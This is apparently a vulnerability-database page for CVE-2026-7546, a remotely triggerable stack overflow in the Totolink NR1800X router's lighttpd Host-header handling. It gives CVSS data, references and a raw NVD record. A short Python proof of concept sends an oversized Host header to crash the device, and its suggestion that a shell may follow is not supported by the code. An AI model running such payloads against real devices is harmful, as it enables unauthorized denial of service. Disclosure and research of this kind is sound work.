CVE-2026-7546

Description

A security vulnerability has been detected in Totolink NR1800X 9.1.0u.6279_B20210910. The impacted element is the function find_host_ip of the component lighttpd. Such manipulation of the argument Host leads to stack-based buffer overflow. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink NR1800X 9.1.0u.6279_B20210910

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# Target configuration
target_ip = "192.168.1.1"
target_url = f"http://{target_ip}/"

# Generate payload to trigger stack overflow
# Adjust length based on specific buffer size (e.g., 1000 bytes)
payload = "A" * 1000

# Malicious header
headers = {
    "Host": payload,
    "User-Agent": "CVE-2026-7546-POC"
}

def exploit():
    try:
        print(f"[*] Sending payload to {target_url}...")
        response = requests.get(target_url, headers=headers, timeout=5)
        print(f"[!] Request sent. Status code: {response.status_code}")
        print("[*] Check if the device has crashed or if shell is accessible.")
    except requests.exceptions.Timeout:
        print("[!] Connection timed out. The device may have crashed due to buffer overflow.")
    except Exception as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7546
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7546
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7546/
[4] VulDB https://vuldb.com/cve/CVE-2026-7546
[5] https://github.com/newym/cve/blob/main/totolinknr1800x.md
[6] https://vuldb.com/submit/804404
[7] https://vuldb.com/vuln/360357
[8] https://vuldb.com/vuln/360357/cti
[9] https://www.totolink.net/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7546", "sourceIdentifier": "[email protected]", "published": "2026-05-01T03:16:01.270", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Totolink NR1800X 9.1.0u.6279_B20210910. The impacted element is the function find_host_ip of the component lighttpd. Such manipulation of the argument Host leads to stack-based buffer overflow. The attack can be executed remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "baseScore": 10.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/newym/cve/blob/main/totolinknr1800x.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/804404", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360357", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360357/cti", "source": "[email protected]"}, {"url": "https://www.totolink.net/", "source": "[email protected]"}]}}